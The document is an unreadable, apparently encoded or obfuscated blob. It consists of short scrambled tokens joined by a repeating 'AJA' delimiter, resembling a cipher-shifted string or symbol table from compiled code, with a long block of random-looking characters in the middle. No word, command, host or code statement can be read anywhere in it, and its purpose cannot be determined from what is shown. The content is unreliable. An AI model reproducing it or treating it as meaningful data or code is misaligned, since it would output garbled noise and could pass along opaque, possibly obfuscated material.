0=Q#]::L<-=H=1AJAD]::AJA-] ::<E <AJAQAJA6LLAJAT&&TD>T>AJAE]-::]EL6_]AJAT&TDT>AJAD]::_ AJAQAJAL<-::::< ::AJAL<-::::< ::AJAD]::]# AJA#::# -AJAD6U]AJAD6U]AJA66Z::U]-]AJA#::66ZAJA#::(L]AOJNAB[	
$M::;[
M
AJAEEAJA-] ::<E <AJA# ZL]#]] AJA ]UEL6 ]AJAW::JM
[
[::0CAJA ]U]#AJAYE9_< ]  ]U]#AJA66Z::QQ]AJA# E<#AJANNAJAE6  ]#AJA#::DAJA#::66ZAJA# L]AJA#::# -AJAG]_ ::2AJAG]_ AJATAJAD6U]AJA<U]AJAX6YYYAJAX6YYYX<# #AJAX6YYY ULAJA#XYYYAJA#XQ#]#AJAQ#L<_6LYYYAJA::-] AJA::-] AJA<E]::6#]DAJA# E<#AJA UAJA66Z::QQ]AJAU_< U]AJAYE9_< ] UQ9ELQ-#AJAYE9_< ] ELQ-#AJA#::DAJA# 6LL]DAJA#_::#E]6D:: ]X6LAJA#E]6DAJA#_::#E]6D::AJA<::<< #AJAYE9_< ] ELQ-#AJA#_::#E]6D:: ]X6LAJAYE9_<(-NEEAJAYE9_<(-NEEAJAD](]T#4T&T#451"0::
B:A51"T#4.T#451"&51">51"AJA 6L]::E](T#4HT#451"&51">51"AJA569!B9 9::PAJAYEDAOJNAQ]ZAJAE]-::U6 _AJA569!B9 9::P9PAJA6_ X6 ]AJAD::6U]::]G]_ ]DAJA%N%AJA<E <#%AJA[BC[=[CB
BJ[M
AJA@J[=<E <::X6LQ]=$CM:A=AJA=W	C=<E <::6U]=H=AJA16_ X]::ELQ-#1AJA=@:A[=2=$MC=O0B[AJACM@@BJ?AJACM@@BJ?AJAJM:A:A[AJA0B[=AJA=[=<E <::X6LQ]=H=I#=W	C=<E <::6U]=H=AJA6_ X6 ]AJAQED6 ]::(6LAJACM@@BJ?AJA#::<G]_ AJAYEDAJA#::<G]_ AJA(Q_ <::]# #AJA-!(L6 ]AJAE*_QF$(X@V[*D
	6(M*R6 @ +	2 $Z [*$#-<W 	2))#B D )QG:A_JK[!QQ((_$!8

Z *-[:AZ[_R*!(_+*R'#XV8J[K
;@KD<JBQ#2BL][ F$
#$LZ*Q-C+
VXX;2]['!Z+#Y!K6?DQ_0 F)OYO:AU/QXY/
CRKC'R'+/W*:A_ UW_Y
R#[UY/YW/R]_CXG 0:A!2]W06YUK<;U'2D<U$X6/J)+-:AGD;Q?[-/0(/LVD! KGF@8VU*O_Q*[G?*M]/U*;YM	U
ZD+-[O '//[+)+W/)6F$B6YC<	UO!6GJX8LR) !@86QQ2#U22RF?/26(/02[):AZL()X]J)[	!YJUW[']#QJ6_ B WRMEU$UO@!)/QCY!BGG8FXZ!0!E?#R8)
X]-];	'@*J6M#DRZDOG/(0:A@Q @M QV)]	Z
00 OQ -LKO<26?UKXR/L/0 !G+/!8 JLO(Q8U2Z<C'22YGJJMQRZWJ*E2RYX/[BW0GJD;R*K-RB#ZB	@_OL-XM8R]'[[(-:ARWC+#V:A:A*-Y62U
V 0@W0W(GOBWJ0;Q 2
_L?U;8DLY<W@8-#OO#2 C+ #OBE[JBFO'?*E8FV'2(VJ)EM*C:A']XM@#? ]/!*<J[
[R!W 
# QF)$)FV/:A W# C<?R
UKG]YXXJ(?0)#$'(]O;XW2#MF(-/Y22LEE:AX )(*D?2JG6
[

Y XE 6;(-K-]-D/?UD+0X	JYO2$D:A-	)D+;8)RMFW	_:AFBC#K@@2 E;F*+]U
	[Y/K$Y:A(CO8+L8K)8O]8YR*[]MQVRX[:A8ERY@*E-0$/JE;)Y)+JU+!0XM!	6E-EU 	EURGUWCQ8)*O_+MB?QR/FD$) XMQ	 ORDOY-RG;	8?)#*E([K(682X8[*BZ8(GER/Z;FJKWY	R[LRYO+UD)_0V+Y
M
/ZE QCJ<+R[R<DR8+M+?D_+[X0DE!LD[-'FU6FOYLK-_2++#@#8R)[-GD#  O; /EG$Q!(C!V__6Q:A@-]BLC$GV/?<V +/	*[X+	'J8/
W;*<XM'QCE$*Y0(/:A2D#Y@<D;##FZER0M( Q?;(F	2*@ M*@##62 YU#L6RR?!?#+[_C-/)GQZ:A?#/@-[@#]	8B8 M'G_D[VEEUWU*QKC):AU[ZBJ6(-$)Z*W2D/ C?6O8WLRZM?X   ZZ-FE]F(<(L@#E $U:A2(X6XLWL]06/!R6<UXXJGY)!F:A?
E	?-Z<G8LKUB;UO(B#/LBL0?-M6U[	<62?U!Z#?JEOGK6(/2*C6D	:A2Z	L'GQ';0]'80$'C LLMRE8[$0@6XBKC8BU	M);;;?#DEBG#*]X6D(ZKQ)F$Y@YXJ:AZF +8$6 :A<F@LB)0)8:ALY6_:AFX8L	_86DV	F#;XZ(!X(*LX_*:A2F	'#;@-:A'$!);$WE#$E *$[
?**6'QOB'[($#U:AW0-B M/6+!F('ZMKM# R0XO;$ _)V*/J; Y$OO(8JE+-?'BLL@?0[)D!BF@'Q<(0' _/O['
 V8)J)L)]:A
CV_JOB
 <86#$!ED'B 0JB/LOX26]C 2-+] YJ<]	UM<O/LJ*QK* 
V?G8L*+/-ZU<@_0
F6Y[GBM(	
$:A _L)$RDFF
YL* *LK+/#2-RZQ:A6;YFM-+2	;*R2L @X 2BX+'(##
 ]!	@6]6	[	((L'?OW#F0QQ$!2V#[<M-+V<_*CL28	J G* /ED?2	[!])  ;**ZKM6LJ@LEO
0L)Q
U2D)LD:AK
@W!O!_O LV-_0J2OZO+YZ#EY;FR<6? M*GG;/M6CGYY	L ?*]K](-EG/*(VU;(_(($VJ@FX#QL*?$L[[ 8;+?):ARL	M!*F<'<_E8WU:AL'QJ G6RCU]_ 
D[6M	$CJG
Q$(?KZB:A$BML]YDB:AV-@++]QZ	K80VE!RKWG'-X[ OVU:A[ZWQ$M)EGO]DJE+@#:AL/X;V$<:AD()'@O@E?2Y
KU0
C6)2:A*)EMD	F/8ZM-ZOKD-MEJ @V);
V)KW?8$;0!O'
[  M*Z6#])_-M$W2K06KW:A8J)$O6Q)
'(<?ERZGU
BL_:A 2DEGU;[)E]M0D@Y2$ (C[6ZL)-WG(($R!UQ*:AK]
+<	]QY)]BL;:A[X<)[Z'/FEMEWBE2R(CGY(Q:A_GG02GY'	8WR2E_#*?)ZUJ
';BKK2/:A]QO]J?_
[ [FXY:AQ6#[[DM;KL'U L<Z@X0 +Q([ '_#+ :AKV-E68V?E@OUZWX<FBD-?O['
Q)YV
-G 8VWF-*_
<@XGYHHAJA#::# -AJA!EAJAN!EAJA# AJA_< ] ::QLAJAYE9_< ] AJA  EAJA  E#AJA# E<#AJAL UAJA3EHAJA3EHAJA# AJAE]-::]EL6_]AJA  E#3AJA#::# -AJA#_::#YAJA# L]AJA# L]AJA<AJAE6#]::QLAJA#Q# AJA_< 6_ #AJAE_#AOJNA6DU6#]AJA!EOLAJA#LQ-AJA# 6LL]OLAJAY ]?]ZAJAYRAJAE6-]J<D]AJA#X::R]ZAJA#::# -AJA# L]AJAG#<::]_<D]AJAX6=::::J::MM[H+M
NE6#]&6 <&"AJAG#<::]_<D]AJA">>7AJAX6=::::J::
JH"AJA"7AJA#Y::_<(-AJA#Y::_<(-::#-AJAUDAJA#YAJA3EHAJA#YAJA# E<#AJAL UAJA#Y::QLAJA<AJA#Y::_6_]DAJA#::DAJA# :: ELAJA#YAJA# :: EL::U##-AJA#Y::# AJA-] :: 6#] AJA#::66ZAJA#::66ZAJA# L]AJA# L]AJABB[	AJA# ::]E]6 AJA#_::#YAJA#_::#YAJA# L]AJA#::# -AJAE6-]::_6_]DAJA6DX6_]D9_6_]NEEAJA!L-UED_QYY'G!86<R2 AJA(L]::]# #AJA#Y::#] QEAJAEE::#6E::6U]AJA::-] AOJNA&<]>AJA# AJANEEAJANAJA#_::::D]6DAJATAJA#::(L]AJA(L]::-] ::_< ] #AJAE]-::]EL6_]AJAT36Q <::E]E]D::(L]T#4HT#45"135"1TT4AJAE]-::Q< ]AJA5"1TT45"13T3T3AJAN#_::AJAW::JM
[
[::0CAJAAJAQ:: EL::U##-AJAUDAJATAJA(L]::-] ::_< ] #AJA#::# -AJA6Q <::E]E]D::(L]T#4HT#4&5"13>&5"1TT>T2AJA<]AJA Z,^_LQD]::<_]=AJAX6::]E< AJA7S_6 _&T[<Y6L]=P]>,S_6 _&T_]E <=P]>,S=AJAP::#_EHD6U]&::::$@::::>N"NAJA(&^#::(L]&P::#_E>>,P::#__H^(L]::-] ::_< ] #&P::#_E>7(&#::# -&P::#__>>,AJA(&# L]&P::#__>2F/8'>P::#__HE]-::]EL6_]&1&TTT45969(,2.ST4T>P1.11.P::#__>7AJA(&#::# -&P::#__>UD&P::#__>HHH1AJA1>, Z,^_LQD]::<_]=P::#_E7S_6 _&T[<Y6L]=P]>,S_6 _&T_]E <=P]>,SSQ#] &P::#__>7SSQ#] &P::#_E>7AJA(L]::-] ::_< ] #AJAUDAJA::Y6EAJA(L]::-] ::_< ] #AJA#::(L]AJA#_::::(6LAJA#_::::D]6DAJAAJA__Q ::<E]AJA(L]U U]AJA(L]::]# #AJA#::# -AJA]6D::(6L]DAJA# E<#AJA UAJA6Q <::E]E]D::(L]=H="AJA#_::::E]D-AJA#_::::(6LAJA<AJA#_::::D]6DAOJNAE<]::AJA#_::::(6LAJAAJAJ::	[::CAJA#_::::E]D-AJA(Q_ <::]# #AJA::-] AJA::-] AJAQ#]::N_6_]::  LAJA<AJA#_::::(6LAJA#_::::E]D-AJA<AJAE<]::D]6DAJAN 6__]##AJAME <#=9D]]#AJA$L]#:A6 _="TN&!E\L<-\#L>P"AJA(:A<DQL]=U<D::6Q !::_<]N_AJAC]Q]=6LL=D]]DAJA(:A<DQL]AJA(:A<DQL]=U<D::6Q !::_<]N_AJA0]Z=(<U=6LLAJA$L]#:A6 _AJA(L]::]# #AJA(L]::-] ::_< ] #AJA AJANEEAJA :: ELAJA#_::L6# ::(] _:: #AJA AJA :: EL::U##-AJAN 6__]##AJAN 6__]##AJA::-] AJAQ#]::N(L]6U]AJA#::(L]AJA#::# -AJA6Q <::E]E]D::(L]T#4&3H\T#>T#4&5"13>&5"1TT>T2AJAE]-::]EL6_]AJAT3EEAJA3EE= Z,^_LQD]::<_]=AJA7S_6 _&T[<Y6L]=P]>,S_6 _&T_]E <=P]>,SAJAE_]::(6LAJAN 6__]##AJAN 6__]##AJA#_:: ::D]6DAJA U]AJA#::# -AJA ::L<6D]AJA(L]::-] ::_< ] #AOJNA#_:: ::(6LAJA<AJA__Q ::<E]AJAEE::X6LQ]=6Q <::E]E]D::(L]AJA(L]::]# #AJA(L<_RAJA(Q_ <::]# #AJA(L<_RAJA#::(L]AJA(L<_RAJA="AJA="AJA="AJA(Q_ <::]# #AJA_<Q AJA<AJA#_:: ::D]6DAJA#_:: ::D]6DAJABB[	AJA(Q_ <::]# #AJA<E AJAQED6 ]::<E <AJA0::	M[AJA0::OCAJA0::BWMC0AJA_L6##::]# #AJAUZ#LAJA0::OCAJA0::BWMC0AJA0::
B:AAJAUZ#L=AJA<E AJA<_AJANYE9<G]_ 9_6_]9AJAND6 AJA(L]#!]AJA(L]::-] ::_< ] #AJA_<Q AJAJ02AJAQE6_RAJA-!D]_<D]AJA# L]AJA# L]AJAUDAJA#::# -AJAT3EET#4AJA<_::UAJA4=J::MJ::V
AJA=4AJA4=J::MJ::
0AOJNA3EE=4=NYE9<G]_ 9_6_]9AJA=4=4=JMJ*AJA_66Z::6U::(6LAJAJ::MJ::V
AJA# E<#AJANYE9<G]_ 9_6_]9AJAJMJ*&TDTNTDTNTD>AJAHAJAT3TT4=J::MJ::V
&569!B9 9N::4AJA>=T4TN43TT4=J::MJ::
0T2=T4TT3#AJAE_]::(6LAJA<_AJA]#::_6EAJA_66Z::6U::(6LAJA4=NYE9<G]_ 9_6_]9AJABB[	AJA(L]::-] ::_< ] #AJAJ02&TDTNTDTNTD>AJA#_::<_::D6 ::<RAJA#_::<_::D6 ::<RAJAD6 ::_<QE AJA#::# -AJAJ02AJAUDAJA( <RAJAYE9_<(-NEEAJA( <RAJA#U<E::<E]AJA( <RAJA6#AJA6#AJA#6'AJAUDAJAJ	:A2AJA# L]AJA#U<E::#!]AJA#U<E::]6DAJA#::# -AJA# E<#AJA#U<E::_L<#]AJA#U<E::Y ]AJA# ::E6DAJA#U<EAJA#U<E::D]L] ]AJA#U<E::<E]AJA# ::E6DAJA#::# -AJAT3EEAJA#Q# AJAT#4&D]_L6]T#4T&N43T>T#47\6U]#E6_]T#57,T#47>#AOJNA#Q# AJA#Q# AJA3EE=AJA(Q_ <::]# #AJA#_::]#::AJA# E<#AJA-] ::<E <AJA(Q_ <::]# #AJAQED6 ]::<E <AJA#::# -AJA]EL<D]AJAD<EAJA Q-::<(::Y6=AJA6#]6U]AJANEEAJA!EAJA( <RAJA X6LAJAJ::B0*@::AJA6DXAJA6DX:: EL::U##-AJA(L]::-] ::_< ] #AJA#::# -AJA6DXAJA6DX::UAJA4=J::B0*::V
AJA4=J::B0*::
0AJA=4AJAE]-::]EL6_]AJATT4=J::B0*::V
&569!B9 9N::4AJA>=T4TN43TT4=J::B0*::
0T2=T4T#AJAJ::B0*::@MB00AJA# E<#AJA# E<#AJAE]-::]EL6_]AJA5=T 4(T#4T&T#4D](]DT#4T&T#45"1J::B0*::@MB005"1T#4T>T#4T>T#4] QT#475TT4AJA6DXAJAE]-::]EL6_]AJA6DXAJA6DXAJA6DXAJA_66Z::6U::(6LAJACKO[:::A[	M0AJA#_::-Q6DAJA#::Y 6L]AJAYE9_LQD]#AJAN-::AJAN-L::AJAN-::AJA(L]U U]AOJNA U]AJA U]AJAN-::AJAYE9_LQD]#AJA U]AJAN-X::AJA(L]::-] ::_< ] #AJAE]-::U6 _AJATDTNTDTNTDPAJAN-#::AJA U]AJA-Q6DAJA]6E::#Q#E]_ ]DAJA U]AJA<::# 6 Q#AJANEEAJA#::Y 6L]AJAW:AO::@OV
::0CAJAELQ-#AJAW::JM
[
[::0CAJA-Q6DAJA6#]'F::]_<D]AJA6#]'F::]_<D]AJA6#]'F::]_<D]AJA6#]'F::]_<D]AJA6#]'F::]_<D]AJA6#]6U]AJA#_::L6# ::(] _:: #AJA-Q6DAJA-Q6D:: EL::U##-AJA-Q6D:: EL::X6LDAJAN-U::AJAUDAJAN-X::AJA-Q6DAJA#Q# ::_<Q AJA# L]AJA# L]AJA#::# -AJA# L]AJAD#R::(]]::#E6_]AJA#_::E6D::<((:: #AJA U]AJA U]AJA# L]AJA#Q# AJA3AJA6D<U::Z ]#AJA]AJA# L]AOJNA4AJA#::# -AJA&T3TTT45969(,2.ST4T>PAJA#::# -AJA(Q_ <::]# #AJA-] ::<E <AJA#::# -AJA#::(L]AJA#_::<Y::UAJA#_::<Y::UAJA#_::<Y::U6(]# AJA#::66ZAJA(L]::-] ::_< ] #AJAUDAJA#_::<Y::U6(]# AJA#_::<Y::UAJA(Q_ <::]# #AJA#_::<Y::U6(]# AJAUDAJAU<D(]DAJA(L]::-] ::_< ] #AJAE]-::U6 _AJAL]-6_ZAJA# L]AJA#Q# AJA<Y::AJA<YAJANEEAJA(Q_ <::]# #AJA#_::<Y::]_AJA#::66ZAJA#Q# AJA]AJA]AJA# 6 -AJA<RAJA# 6 ]AJA<< :: #AJA<< :: #AJA-]AJA# 6 :: #AJACKO[::[:AAJA#_::<Y::]_AJA<AJA#::66ZAJAE6 AJA#::# -AJAE6 AJA#::(L]AJA(L]#!]AOJNA<< :: #AJA<RAJAQR<YAJA(6LAJAD]6DAJAQR<YAJA(L]#!]AJA(L]::-] ::_< ] #AJA#::# -AJA&TT45969(,2.ST4T>T#4PAJA(L]::-] ::_< ] #AJANEEAJAN::AJA#::(L]AJA(L]U U]AJAUDAJAQED6 ]::<E <AJA#_::D](]]D::D]LAJA66Z::#L_]AJANLR-AJANLR-AJA_<EZAJANLR-AJA#::# -AJAE]-::U6 _::6LLAJA6#]'F::D]_<D]T&T#41&5B9 69!9TH,2.S>1T#4T>AJAE]-::U6 _::6LLAJA&3-!D]_<D]\-!(L6 ]\-!Q_<UE]##>T&T#4"&&35"TT4&3TTN5"TT4>4>>"#AJATAJATT&5969(B9$,S>AJA RU!Y-U(Y2::R!/FDAJA&3-!D]_<D]\-!(L6 ]\-!Q_<UE]##>T&T#41&&351TT4&3TTN51TT4>4>>1#AJA# ::]EL6_]AJATTAJAT1AJA#::# -AJA-!AJA# E<#AJA# E<#AJAE]-::U6 _::6LLAJA# E<#AJA#::# -AJA#::# -AJATT4=J*&TDTNTDTNTD>=T4TAJA#Q# AJA#::# -AJA4=AJA569!B9 9N::PAJA#Q# AJA4=AOJNA::
0AJA# L]AJA ::UAJATT4=J::[	::V
569!B9 9N::4AJA=T4TAJA#::# -AJAJ::[	AJA!2Y'8 ]Q6L_DEZ!AJAJ::00AJAQRGZY''#G!/AJA#::# -AJATTJ::[	::@0::569(9::T3T5T4PAJA-'#8UGL_D#Q)2)G/AJAJ::00AJA#::# -AJA ::UAJATT4=J::[	::V
&569!B9 9N::>=T4TAJADDAJATT4=J::00::V
&569!B9 9N::>=T4TAJA#_::_AJA#_::_66ZAJA#::66ZAJA#_::_AJA6#::]Q6L#AJA99AJA(Q_ <::]# #AJALDAJA U]AJA(Q_ <::]# #AJA ]U#AJA ]#AJA U]AJA ]#AJA ]U#AJA_66ZAJA6R::Y ]::(6LAJA ::AJAN6RAJA6R::Y ]::(6LAJA U]AJA ]#AJA_<Q AJA ]U#AJA#_::_66ZAJAQZ_R<6::<DZF2AJAYE::]U< ]::-] AJA]D]_ <AJA<9# <].=<9_6_]AJA6-U6AJA(Q_ <::]# #AOJNA#::YE::]<AJAYE::]U< ]::] ]X]::]#E<#]::_<D]AJA(Q_ <::]# #AJAYE::]U< ]::] ]X]::<DZAJA(L]::-] ::_< ] #AJA#::(L]AJA-] ::<E <AJA ]U#AJA #AJA(6# _-::(#::]Q]# AJAL ]#E]]D::(#::]Q]# AJAL ]#E]]D::(#::]Q]# AJA-<]::Q#]::6< AJA-<]::Q#]::6< AJAYE::]U< ]::-] AJAYE9L<-NEEAJA U]AJAQX](]D::R]]E=AJA3#_::_HAJA6YQL]_<D]AJA::HAJA(Q_ <::]# #AJA<LL6_R::=AJA ]U#AJA# E<#AJA99J?AJA99AJA# E<#AJA#_::_HAJA<LL6_R::L<-=AJA ]U#AJALD\AJA U]AJAL::LDAJA ]U#AJA#::# -AJA# E<#AJA#_::L::U<D]AJA<R\AJA<AJA#::# -AJA# E<#AJA::#_::(6UAJAJ::[	::V
AJAN#D::AJAJ	:A2AJAJ*AJAJ::&30\B0*\MJ>::V
&TDTNTDTNTD>AJA#Y]]EAJA]Q 6L!]::(<]-::#RE=AOJNA(L]::EQ ::_< ] #AJA(L]::-] ::_< ] #AJA# L]AJAE]-::]EL6_]AJA5=T 4TT4=J::&0\B0*\MJ>::V
&569!B9 9N::>=T4TN43TT4=J::T2::
0T=T4T5=T 4T3T3#AJA#::# -AJA(L]U U]AJA#_DAJA<E_6_]::X6LD6 ]AJA#::# -AJA#::(L]T&T#41&51>1T#4T>AJA#::# -AJABB[	AJAD6U]AJADD::(<]-::#RE=AJA#]X]::R]ZAJAU<_RX?]Z9AJABB[	AJAYE9_<(-NEEAJA#::(L]AJA#::(L]AJA#::Y 6L]AJA]6LE6 AJA#::Y 6L]AJA(L]#!]AJA(L]::-] ::_< ] #AJA#::# -AJAW::J<]:: ]- ZAJA UEEEAJA# E<#AJAW::[:A::0CAJA#_:: UE::(]DAJA#Z#::-] :: ]UE::DAJA#Z#::-] :: ]UE::DAJA UEAJA#::DAJA#::Y 6L]AJAD](]T#4T&T#451"W::JBJ	51"AJA(L]::-] ::_< ] #AJAJ::B0*::V
AJA# E<#AJAD](]T#4T&T#451"BB[	51"5T4TD](]T&=1W::JBJ	1.= Q]=T>7TAJAD](]T#4T&T#451"W::0OV51"T#4.T#4 Q]T#4T>AJAD](]T#4T&T#451"W::0OV::@MV51"T#4.T#4 Q]T#4T>AJAE]-::U6 _AJAD](]T#4T&T#451"W::0OV::0@B51"T#4.T#4(6L#]T#4T>AJA5=T 4TT4=W::J<]:: ]- Z=&569(9>=T4TN43TT4=D9W::J<]:: ]- Z=T2=T4T5=T 4T3T3#AJAUEL<D]AJA5=T 4TT4=W::J<]:: ]- Z=&569(9>=T4TN43TT4=D9W::J<]:: ]- Z=T2=T4T5=T 4T3T3#AJAE]-::U6 _::6LLAOJNA5=T 4(T#4T&T#43T#4(L]::]# #T&T#41T UETEE5B9 69!915T4T&5=T 4(T#4T&T#4TP::<5T4T>3UAJAE]-::]EL6_]AJAD](]T#4T&T#451"BB[	51"5T4TAJA&D](]T#4T&T#451"BB[	51"5T4T>AJAP2AJA#::# -AJAE]-::U6 _AJAE]-::]EL6_]AJA&D](]T#4T&T#451"BB[	51"5T4T>AJAP2AJAE]-::]EL6_]AJA&D](]T#4T&T#451"BB[	51"5T4T>D](]T&=1W::JBJ	1.= Q]=T>7TAJA5=T 4D](]T#4T&T#451"W::0OV&::@MV\::0@B>351"T#4.5T4TUAJAE]-::U6 _AJAE]-::]EL6_]AJAP2AJA#::# -AJAYE_AJA&D](]T#4T&T#451"BB[	51"5T4T>D](]T&=1W::JBJ	1.= Q]=T>7=TT4=J::WJ=T4TTAJAP2AJA#_YAJA_U<DAJA1&T UETEE5B9 69!9>1AJA# E<#AJAD]L] ]::<E <AJA<E <::6U]T#4HT#41&51>1AJA66Z::QQ]AJA::# ]:: 6#] ::&]6L \(]]D>::569(9PAJAW::JM
[
[::0CAJAUQ9ELQ-#AJA(Q_ <::]# #AJA-L<AJA#::DAJA44NEEAJAN#_::AJA_<]::AJA#::(L]AJA]6LE6 AJA]6LE6 AJAJ*AJAE]-::U6 _AJATT4=J*&TDTNTDTNTD>=T4TAJA(<]-::#RE=AJA6#]6U]AJA<E_6_]::X6LD6 ]AJA6#]6U]AJA-L<AJA-L<AJA4(Q_ <#NEEAJA#::(L]AOJNA(L]#!]AJA# E<#AJAJ::[	::V
AJA# E<#AJAJ::00::V
AJAJ::[	::@0::AJAD]L] ]::<E <AJA<#]EE]]LQAJA<E AJAQXGY-YF)Q!)R::::AJA2-_2ZU ]!'2AJA(Q_ <::]# #AJAG!::LL!!' Z!6DYRUXAJA<AJA#_::<< :: RAJA<< AJAL]-6_Z:: 6R]<X]AJA(Q_ <::]# #AJA #AJA#::66ZAJA]-# ]::#Q D<Y::(Q_ <AJAL]AJAN 6__]##AJA(Q_ <::]# #AJAQ#]::N(L]6U]AJA#::# -AJALDAJA UAJAL]AJANYE9<G]_ 9_6_]9AJA#_::E]## ::U6(]# AJA# 6 AJA#!]AJAU U]AJAE]-::U6 _AJAT\&TD>PAJA#Q# AJA#Q# AJA#Q# AJA#::(L]AJA(L]#!]AJA#::(L]AJA(Q_ <::]# #AJANEEAJADNEEAJA(Q_ <#NEEAJA\AJA#Q# AJA\AJA\AOJNAE]## AJA-AJA(L]::-] ::_< ] #AJA LAJANEEAJANEEAJA6DX6_]D9_6_]NEEAJAJ::0AJA(L]::-] ::_< ] #AJAE]-::]EL6_]AJA(L]::-] ::_< ] #AJAJMJ*TDTNTDTNTDAJA#Q# AJA# E<#AJAT3TT4=J::MJ::V
&569!B9 9N::>=T4TN43TT4=J::MJ::
0T2=T4TT3#AJA_6_]AJAQEL<6D#44AJA-L<AJA ]U]#4AJAYE9_LQD]#AJA-L<AJA4NEEAJAYE9_LQD]#AJAN-::AJAX6LAJA(Q_ <::]# #AJA-L<AJAN-L::AJAN-#::AJAN-R::AJAN-E::AJAN- ::AJAN-U::AJAN-X::AJAN-#Q::AJAN-D::AJAN-::4NEEAJAN 6__]##AJA(L]::-] ::_< ] #AJA6Q <::E]E]D::(L]AJAT3(:A<DQL]=U<D::EE59N4TN_T#4EE::X6LQ]=6Q <::E]E]D::(L]5T4AJA5T4TT(:A<DQL]T3AJAT3EE::X6LQ]=6Q <::E]E]D::(L]5T4AJA5T4T3AJA#::# -AJAYE9_<(-NEEAJA#::(L]AJAD6U]AJAYE9_<(-NEEAJAJ::WJAOJNAE]-::]EL6_]AJA5=T 4D](]T#4T&T#451"W::JBJ	51"T#4.T#4 Q]T#4T>T#47T#4TT4=J::WJ=T4T5=T 4T3T3AJA(L]U U]AJAQ#]::N(L]6U]AJANQ#]NAJA(L]::-] ::_< ] #AJAE]-::]EL6_]AJA6Q <::E]E]D::(L]T#4HN4AJAE]-::Q< ]AJAN4TAJA66Z::D((AJA#::(L]AJAJ::[	AJA-'#8UGL_D#Q)2)G/AJAJ::00AJA( <RAJA#U<E::D]L] ]AJA(Q_ <::]# #AJA-] ::<E <AJA#_::_66ZAJA#::66ZAJA ]U#AJA#::66ZAJA ]U#AJA#_::<_::D6 ::<RAJA#_:: ::D]6DAJA!L-UED_QYY'G!86<R2 AJA#_::-Q6DAJA(Q_ <::]# #AJAYE::_L]6::#_]DQL]D::<<RAJAX/DZL '8']2/Q-AJA#_::_<::-Q6DAJAX6LD6 ]AJANEEAJA# L]AJAD::UAJA4=J::0::V
AJA4=J::0::
0AJAD::UAJATT4=J::0::V
&569!B9 9N::4AJA>=T4TN43TT4=J::0::
0T2=T4T#AJA# E<#AJAJ::0::@MB00AJAE]-::]EL6_]AJA5=T 4(T#4T&T#4D](]DT#4T&T#45"1J::0::@MB005"1T#4T>T#4T>T#4] QT#475TT4AJAJ::0@::AJAUDAJAD:: ELAJA#_::L6# ::(] _:: #AJAD:: EL::U##-AOJNAT3EET#4AJA# L]AJA_66Z::6U::(6LAJAYE9_< ] AJA ]U]#AJA-] ::<E <AJA X::AJA ]U]AJAX6#::]# <]DAJA#_:: ::D]6DAJABB[	AJA#_:: ::D]6DAJA4=J::[	::V
AJA=4AJA4=J::[	::
0AJAJ::[	@::AJA#Q# AJANEEAJA ]U]:: EL::U##-AJAE]-::]EL6_]AJA(L<_RAJA ]U]AJA(Q_ <::]# #AJA(L<_RAJA X::AJAN6RAJA ::UAJAX8)DR)UQ2! _ED/AJAE]-::]EL6_]AJATTJ::[	::@0::569(9::T3T5T4PAJA ]U]AJAE_]::(6LAJA# E<#AJAJ::[	::V
AJAJ::[	::@0::AJA<E6AJA#::# -AJA3AJA UAJA# L]AJAN!EAJANEEAJA#_::]UE ZAJA EB_X]AJAQEL<6D#AJAD6 ]AJAUAJAW::JM
[
[::0CAJA(L]::]# #AJA(L]#!]AOJNAYE::] ::#_]DQL]DAJABB[	AJA<QLZAJA U]AJA#_::-Q6D:: ]X6LAJA_<::#] QEAJAYU  (<ZX/)-/AJAYE9_LQD]#AJA#::(L]AJA(L]U U]AJAN-::AJA#::(L]AJA U]AJA#::(L]AJAUD::(L]AJA#_::-Q6DAJA_<::-Q6DAJABB[	AJA(L]#!]AJAGY::/#8QGRGF8]AJA#::# -AJA<E AJA# L]AJA(Q_ <::]# #AJA6_ X]::ELQ-#AJA::66ZAJA6_ X]::ELQ-#AJANEEAJAE]-::U6 _AJA#Q# AJAUDAJA_<::]_AJA# AJA#::(L]AJA	[[2N2=FF=
< =$<QDAJA(Q_ <::]# #AJA-] ::<E <AJAQED6 ]::<E <AJA<AJA U]AJA<AJAE]-::U6 _AJAT#4&3T&\TT4\TT\X6=\L] =\_<# =\(Q_ <=\#]L(TN>AJA5B9 69!9THTTPAJA# L]AJA# L]AJAJ< ] 9[ZE]=6EEL_6 <G6X6#_E AJA]X_]9W<R]9BLL<Y]D=AJA	[[2N2=F=
<=J< ] AJA#Y::_<(-AOJNA	[[::$::
M
:::AB[J	AJA	[[2N2=)F=
< =:A<D(]DAJA[6-=AJA]X_]9W<R]9BLL<Y]D=AJAJ6_]9J< <L=<9_6_]AJA[6-=AJA#Y::]EAJA#_::X](ZAJA#::# -AJA(Q_ <::]# #AJA<U]::QLAJAE6#]::QLAJA(Q_ <::]# #AJA-] ::<E <AJA# ]QLAJA	[[::	M[AJA#::# -AJATDPAJA\X](ZAJA#_::#]U6 _::E<]\AJAJ< ] 9[ZE]= ] EL6AJAJ6_]9J< <L=<9# <]AJAJ:::AAJAUDAJAJ:::A::$B@AJAX](Z::]EAJA(Q_ <::]# #AJA<_R] ::_L]6::D<U6AJAY) _::(LQ#::6LLAJA#-::_6_]E]##::EQ-]::_6_]AJAL ]#E]]D::EQ-]::6LLAJA@ ]E]]D::J6_]::BAJA@ ]E]]D::J6_]::BAJAEQ-]::6LLAJA]]!]::Q-]J6_]AJAU] <D::]# #AJA]]!]::_6_]::(LQ#AJAU] <D::]# #AJA_L]6:: < 6L::_6_]AJAYE(_::_L]6::6LL::_6_]AJA#::<G]_ AJAD]L] ]J6_]AJAYE::_6_]::_L]6::_6_]AJA6Q <E U!]J6_]AJA6Q <E U!]J6_]AJA_L]66LLAJAEQ-]::<::G#::_6-]AJA#::6DUAJAYE::D<-::6G6AJAC[::CKO[AOJNA;:A@CJ::CKO[AJA#::(]]DAJA#::<< #AJA#::# ]U6E#AJA#::_Q# <U!]::E]X]YAJA]L]U] <9E]X]YAJA_Q# <U!]::_6-]#] ::QQDAJA(L::QLD]AJA# ::]EL6_]AJA#_E AJAT#_E AJA<U]::QLAJA(Q_ <::]# #AJA-] ::<E <AJAQED6 ]::<E <AJA#_::G#::E ::< ]AJA#_::G#::E ::< ]AJA U]AJA#_::G#::E ]DAJA<DZAJA ULAJA#_::G#::<AJA#::# -AJA#_::G#AJA#_::G#AJA<::# 6 AJA/_L]R]Z826/'UR_8AJAE6-]<YAJAE6-]<YAJAYE9L<-NEEAJA#_::#Y::L6# ::QLAJA#_E =D6 69#_9AJAX6=DH(Q_ <&>,X6=H"".7(<&H7NL]- 7H>H -N(<UJ6J<D]&E6#] &N#Q# &.>.2'>>7] Q=S.AJA#YH6X-6 